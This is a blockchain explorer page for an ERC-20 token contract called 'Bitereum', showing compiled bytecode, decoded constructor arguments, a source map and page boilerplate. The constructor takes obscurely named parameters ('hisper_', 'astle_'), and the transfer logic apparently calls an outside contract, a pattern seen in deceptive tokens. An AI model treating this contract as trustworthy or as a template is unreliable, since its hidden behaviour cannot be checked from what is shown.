915080821115610b0f578283fd5b50610b1c85828601610925565b9150509250929050565b600060208284031215610b37578081fd5b5035919050565b600060208284031215610b4f578081fd5b5051919050565b60008151808452610b6e816020860160208601610e07565b601f01601f19169290920160200192915050565b60008351610b94818460208801610e07565b835190830190610ba8818360208801610e07565b01949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0383168152604060208201819052600090610be990830184610b56565b949350505050565b901515815260200190565b6000602082526104e76020830184610b56565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601d908201527f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000604082015260600190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252600390820152620e6d2f60eb1b604082015260600190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115610de357610de3610e6e565b500190565b6000816000190483118215151615610e0257610e02610e6e565b500290565b60005b83811015610e22578181015183820152602001610e0a565b838111156106155750506000910152565b600281046001821680610e4757607f821691505b60208210811415610e6857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fdfea26469706673582212200d81be342919ac5d3c7fe97b5c2f5e9fbce366a4ec8b0ca7a1567802fa08920664736f6c63430008000033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d20b14aefb26716650e885cd7f4d4e7321ee60803e4f0b91dd6da2859c15b41c30000000000000000000000000000000000000000000000000000000000000008426974657265756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000008424954455245554d000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Bitereum
Arg [1] : symbol_ (string): BITEREUM
Arg [2] : hisper_ (address): 0xDff32C65f843188cF64ECBC6F4a13cFf12581b9D
Arg [3] : astle_ (uint256): 14787260276575210051340587090882093060454694872303191277721149534121311814083

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000dff32c65f843188cf64ecbc6f4a13cff12581b9d
Arg [3] : 20b14aefb26716650e885cd7f4d4e7321ee60803e4f0b91dd6da2859c15b41c3
Arg [4] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [5] : 426974657265756d000000000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [7] : 424954455245554d000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

111:11732:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1025:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3525:242;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;2153:108::-;;;:::i;:::-;;;;;;;:::i;4347:295::-;;;;;;:::i;:::-;;:::i;8880:243::-;;;;;;:::i;:::-;;:::i;1996:92::-;;;:::i;:::-;;;;;;;:::i;5051:270::-;;;;;;:::i;:::-;;:::i;2324:177::-;;;;;;:::i;:::-;;:::i;5329:711::-;;;;;;:::i;:::-;;:::i;:::-;;980:87:3;;;:::i;:::-;;;;;;;:::i;1244:104:0:-;;;:::i;6903:503::-;;;;;;:::i;:::-;;:::i;2707:234::-;;;;;;:::i;:::-;;:::i;9441:129::-;;;;;;:::i;:::-;;:::i;3004:201::-;;;;;;:::i;:::-;;:::i;1025:100::-;1079:13;1112:5;1105:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1025:100;:::o;3525:242::-;3644:4;3666:13;3682:12;:10;:12::i;:::-;3666:28;;3705:32;3714:5;3721:7;3730:6;3705:8;:32::i;:::-;-1:-1:-1;3755:4:0;;3525:242;-1:-1:-1;;;3525:242:0:o;2153:108::-;2241:12;;2153:108;:::o;4347:295::-;4478:4;4495:15;4513:12;:10;:12::i;:::-;4495:30;;4536:38;4552:4;4558:7;4567:6;4536:15;:38::i;:::-;4585:27;4595:4;4601:2;4605:6;4585:9;:27::i;:::-;-1:-1:-1;4630:4:0;;4347:295;-1:-1:-1;;;;4347:295:0:o;8880:243::-;8989:13;9020:26;9073:4;9079;9056:28;;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;9056:28:0;;;;;;;8880:243;-1:-1:-1;;;;8880:243:0:o;1996:92::-;2079:1;1996:92;:::o;5051:270::-;5166:4;5188:13;5204:12;:10;:12::i;:::-;5188:28;;5227:64;5236:5;5243:7;5280:10;5252:25;5262:5;5269:7;5252:9;:25::i;:::-;:38;;;;:::i;:::-;5227:8;:64::i;2324:177::-;-1:-1:-1;;;;;2475:18:0;;2443:7;2475:18;;;:9;:18;;;;;;2324:177;;;;:::o;5329:711::-;5398:12;5413:11;:9;:11::i;:::-;5398:26;;5439:9;:7;:9::i;:::-;5435:598;;;5465:13;5481:6;;5488:1;5481:9;;;;;-1:-1:-1;;;5481:9:0;;;;;;;;;;;;;;;5493:1;5481:13;;;;:::i;:::-;5465:29;;5509:13;5525:6;;5532:1;5525:9;;;;;-1:-1:-1;;;5525:9:0;;;;;;;;;;;;;;;5537:1;5525:13;;;;:::i;:::-;5509:29;-1:-1:-1;5584:12:0;;5581:2;;5668:1;5661:16;;;5630:9;5699:16;;5757:2;5744:16;;5737:31;;;5581:2;5808:12;5805:2;;5892:1;5885:16;;;5861:1;5923:16;;5981:2;5968:16;;5858:1;5961:27;;5805:2;5562:460;;;5329:711;;;:::o;980:87:3:-;1026:7;1053:6;-1:-1:-1;;;;;1053:6:3;980:87;:::o;1244:104:0:-;1300:13;1333:7;1326:14;;;;;:::i;6903:503::-;7023:4;7045:13;7061:12;:10;:12::i;:::-;7045:28;;7084:24;7111:25;7121:5;7128:7;7111:9;:25::i;:::-;7084:52;;7189:15;7169:16;:35;;7147:122;;;;-1:-1:-1;;;7147:122:0;;;;;;;:::i;:::-;;;;;;;;;7305:60;7314:5;7321:7;7349:15;7330:16;:34;7305:8;:60::i;2707:234::-;2822:4;2844:13;2860:12;:10;:12::i;:::-;2844:28;;2883;2893:5;2900:2;2904:6;2883:9;:28::i;9441:129::-;9493:7;;9530:8;:4;9537:1;9530:8;:::i;:::-;9513:25;9441:129;-1:-1:-1;;;9441:129:0:o;3004:201::-;-1:-1:-1;;;;;3170:18:0;;;3138:7;3170:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;3004:201::o;656:98:1:-;736:10;656:98;:::o;10667:380:0:-;-1:-1:-1;;;;;10803:19:0;;10795:68;;;;-1:-1:-1;;;10795:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10882:21:0;;10874:68;;;;-1:-1:-1;;;10874:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10955:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;11007:32;;;;;10985:6;;11007:32;:::i;:::-;;;;;;;;10667:380;;;:::o;11338:502::-;11473:24;11500:25;11510:5;11517:7;11500:9;:25::i;:::-;11473:52;;-1:-1:-1;;11540:16:0;:37;11536:297;;11640:6;11620:16;:26;;11594:117;;;;-1:-1:-1;;;11594:117:0;;;;;;;:::i;:::-;11755:51;11764:5;11771:7;11799:6;11780:16;:25;11755:8;:51::i;:::-;11338:502;;;;:::o;7876:866::-;-1:-1:-1;;;;;8007:18:0;;7999:68;;;;-1:-1:-1;;;7999:68:0;;;;;;;:::i;:::-;8171:23;;-1:-1:-1;;;8171:23:0;;8155:13;;-1:-1:-1;;;;;8171:7:0;:17;;;;:23;;8189:4;;8171:23;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;8227:15:0;;8205:19;8227:15;;;:9;:15;;;;;;8155:39;;-1:-1:-1;8253:29:0;;8155:39;;8237:4;;8253:9;:29::i;:::-;8330:6;8315:11;:21;;8293:109;;;;-1:-1:-1;;;8293:109:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8438:15:0;;;;;;;:9;:15;;;;;;8456:20;;;8438:38;;8656:13;;;;;;;;;;:23;;;;;;8708:26;;;;;;8470:6;;8708:26;:::i;:::-;;;;;;;;7876:866;;;;;:::o;6048:136::-;6091:7;6123:6;6091:7;6152:5;6123:6;6156:1;6152:5;:::i;:::-;6140:17;-1:-1:-1;;;6048:136:0;:::o;6192:208::-;6233:4;6250:17;6270:5;6250:25;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;6286:11:0;6373:18;;-1:-1:-1;;6373:6:0;:18;;;;;;;6347:20;6250:25;;-1:-1:-1;6300:10:0;;6373:18;;-1:-1:-1;6347:20:0;;6300:10;;6250:25;;6347:20;;:::i;:::-;;;;;;;;;;;;;6337:31;;;;;;6329:40;;:62;6321:71;;;;6192:208;:::o;9131:302::-;-1:-1:-1;;;;;9260:14:0;;9247:10;9260:14;;;:6;:14;;;;;;;9299;9260;9305:7;9299:14;:::i;:::-;9285:28;;9328:3;9335:5;9328:12;:18;;;;;9345:1;9344:2;9328:18;9324:102;;;9371:3;9378:1;9371:8;;:35;;;;9383:14;9391:5;9383:7;:14::i;:::-;:23;;9371:35;9363:51;;;;-1:-1:-1;;;9363:51:0;;;;;;;:::i;14:175:4:-;84:20;;-1:-1:-1;;;;;133:31:4;;123:42;;113:2;;179:1;176;169:12;194:713;;292:3;285:4;277:6;273:17;269:27;259:2;;314:5;307;300:20;259:2;354:6;341:20;380:18;417:2;413;410:10;407:2;;;423:18;;:::i;:::-;472:2;466:9;541:2;522:13;;-1:-1:-1;;518:27:4;506:40;;548:4;502:51;568:18;;;588:22;;;565:46;562:2;;;614:18;;:::i;:::-;650:2;643:22;674:18;;;711:15;;;728:4;707:26;704:35;-1:-1:-1;701:2:4;;;756:5;749;742:20;701:2;824;817:4;809:6;805:17;798:4;790:6;786:17;773:54;847:15;;;864:4;843:26;836:41;;;;851:6;249:658;-1:-1:-1;;;249:658:4:o;912:198::-;;1024:2;1012:9;1003:7;999:23;995:32;992:2;;;1045:6;1037;1030:22;992:2;1073:31;1094:9;1073:31;:::i;1115:274::-;;;1244:2;1232:9;1223:7;1219:23;1215:32;1212:2;;;1265:6;1257;1250:22;1212:2;1293:31;1314:9;1293:31;:::i;:::-;1283:41;;1343:40;1379:2;1368:9;1364:18;1343:40;:::i;:::-;1333:50;;1202:187;;;;;:::o;1394:342::-;;;;1540:2;1528:9;1519:7;1515:23;1511:32;1508:2;;;1561:6;1553;1546:22;1508:2;1589:31;1610:9;1589:31;:::i;:::-;1579:41;;1639:40;1675:2;1664:9;1660:18;1639:40;:::i;:::-;1629:50;;1726:2;1715:9;1711:18;1698:32;1688:42;;1498:238;;;;;:::o;1741:266::-;;;1870:2;1858:9;1849:7;1845:23;1841:32;1838:2;;;1891:6;1883;1876:22;1838:2;1919:31;1940:9;1919:31;:::i;:::-;1909:41;1997:2;1982:18;;;;1969:32;;-1:-1:-1;;;1828:179:4:o;2012:666::-;;;2159:2;2147:9;2138:7;2134:23;2130:32;2127:2;;;2180:6;2172;2165:22;2127:2;2225:9;2212:23;2254:18;2295:2;2287:6;2284:14;2281:2;;;2316:6;2308;2301:22;2281:2;2359:6;2348:9;2344:22;2334:32;;2404:7;2397:4;2393:2;2389:13;2385:27;2375:2;;2431:6;2423;2416:22;2375:2;2476;2463:16;2502:2;2494:6;2491:14;2488:2;;;2523:6;2515;2508:22;2488:2;2582:7;2577:2;2571;2563:6;2559:15;2555:2;2551:24;2547:33;2544:46;2541:2;;;2608:6;2600;2593:22;2541:2;2644;2636:11;;;;;2666:6;;-1:-1:-1;2117:561:4;;-1:-1:-1;;;;2117:561:4:o;2683:577::-;;;2832:2;2820:9;2811:7;2807:23;2803:32;2800:2;;;2853:6;2845;2838:22;2800:2;2898:9;2885:23;2927:18;2968:2;2960:6;2957:14;2954:2;;;2989:6;2981;2974:22;2954:2;3017:52;3061:7;3052:6;3041:9;3037:22;3017:52;:::i;:::-;3007:62;;3122:2;3111:9;3107:18;3094:32;3078:48;;3151:2;3141:8;3138:16;3135:2;;;3172:6;3164;3157:22;3135:2;;3200:54;3246:7;3235:8;3224:9;3220:24;3200:54;:::i;:::-;3190:64;;;2790:470;;;;;:::o;3265:190::-;;3377:2;3365:9;3356:7;3352:23;3348:32;3345:2;;;3398:6;3390;3383:22;3345:2;-1:-1:-1;3426:23:4;;3335:120;-1:-1:-1;3335:120:4:o;3460:194::-;;3583:2;3571:9;3562:7;3558:23;3554:32;3551:2;;;3604:6;3596;3589:22;3551:2;-1:-1:-1;3632:16:4;;3541:113;-1:-1:-1;3541:113:4:o;3659:260::-;;3741:5;3735:12;3768:6;3763:3;3756:19;3784:63;3840:6;3833:4;3828:3;3824:14;3817:4;3810:5;3806:16;3784:63;:::i;:::-;3901:2;3880:15;-1:-1:-1;;3876:29:4;3867:39;;;;3908:4;3863:50;;3711:208;-1:-1:-1;;3711:208:4:o;3924:470::-;;4141:6;4135:13;4157:53;4203:6;4198:3;4191:4;4183:6;4179:17;4157:53;:::i;:::-;4273:13;;4232:16;;;;4295:57;4273:13;4232:16;4329:4;4317:17;;4295:57;:::i;:::-;4368:20;;4111:283;-1:-1:-1;;;;4111:283:4:o;4399:203::-;-1:-1:-1;;;;;4563:32:4;;;;4545:51;;4533:2;4518:18;;4500:102::o;4607:319::-;-1:-1:-1;;;;;4784:32:4;;4766:51;;4853:2;4848;4833:18;;4826:30;;;4607:319;;4873:47;;4901:18;;4893:6;4873:47;:::i;:::-;4865:55;4756:170;-1:-1:-1;;;;4756:170:4:o;4931:187::-;5096:14;;5089:22;5071:41;;5059:2;5044:18;;5026:92::o;5123:222::-;;5272:2;5261:9;5254:21;5292:47;5335:2;5324:9;5320:18;5312:6;5292:47;:::i;5350:398::-;5552:2;5534:21;;;5591:2;5571:18;;;5564:30;5630:34;5625:2;5610:18;;5603:62;-1:-1:-1;;;5696:2:4;5681:18;;5674:32;5738:3;5723:19;;5524:224::o;5753:353::-;5955:2;5937:21;;;5994:2;5974:18;;;5967:30;6033:31;6028:2;6013:18;;6006:59;6097:2;6082:18;;5927:179::o;6111:402::-;6313:2;6295:21;;;6352:2;6332:18;;;6325:30;6391:34;6386:2;6371:18;;6364:62;-1:-1:-1;;;6457:2:4;6442:18;;6435:36;6503:3;6488:19;;6285:228::o;6518:401::-;6720:2;6702:21;;;6759:2;6739:18;;;6732:30;6798:34;6793:2;6778:18;;6771:62;-1:-1:-1;;;6864:2:4;6849:18;;6842:35;6909:3;6894:19;;6692:227::o;6924:326::-;7126:2;7108:21;;;7165:1;7145:18;;;7138:29;-1:-1:-1;;;7198:2:4;7183:18;;7176:33;7241:2;7226:18;;7098:152::o;7255:400::-;7457:2;7439:21;;;7496:2;7476:18;;;7469:30;7535:34;7530:2;7515:18;;7508:62;-1:-1:-1;;;7601:2:4;7586:18;;7579:34;7645:3;7630:19;;7429:226::o;7660:401::-;7862:2;7844:21;;;7901:2;7881:18;;;7874:30;7940:34;7935:2;7920:18;;7913:62;-1:-1:-1;;;8006:2:4;7991:18;;7984:35;8051:3;8036:19;;7834:227::o;8066:177::-;8212:25;;;8200:2;8185:18;;8167:76::o;8248:184::-;8420:4;8408:17;;;;8390:36;;8378:2;8363:18;;8345:87::o;8437:128::-;;8508:1;8504:6;8501:1;8498:13;8495:2;;;8514:18;;:::i;:::-;-1:-1:-1;8550:9:4;;8485:80::o;8570:168::-;;8676:1;8672;8668:6;8664:14;8661:1;8658:21;8653:1;8646:9;8639:17;8635:45;8632:2;;;8683:18;;:::i;:::-;-1:-1:-1;8723:9:4;;8622:116::o;8743:258::-;8815:1;8825:113;8839:6;8836:1;8833:13;8825:113;;;8915:11;;;8909:18;8896:11;;;8889:39;8861:2;8854:10;8825:113;;;8956:6;8953:1;8950:13;8947:2;;;-1:-1:-1;;8991:1:4;8973:16;;8966:27;8796:205::o;9006:380::-;9091:1;9081:12;;9138:1;9128:12;;;9149:2;;9203:4;9195:6;9191:17;9181:27;;9149:2;9256;9248:6;9245:14;9225:18;9222:38;9219:2;;;9302:10;9297:3;9293:20;9290:1;9283:31;9337:4;9334:1;9327:15;9365:4;9362:1;9355:15;9219:2;;9061:325;;;:::o;9391:127::-;9452:10;9447:3;9443:20;9440:1;9433:31;9483:4;9480:1;9473:15;9507:4;9504:1;9497:15;9523:127;9584:10;9579:3;9575:20;9572:1;9565:31;9615:4;9612:1;9605:15;9639:4;9636:1;9629:15

Swarm Source

ipfs://0d81be342919ac5d3c7fe97b5c2f5e9fbce366a4ec8b0ca7a1567802fa089206
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.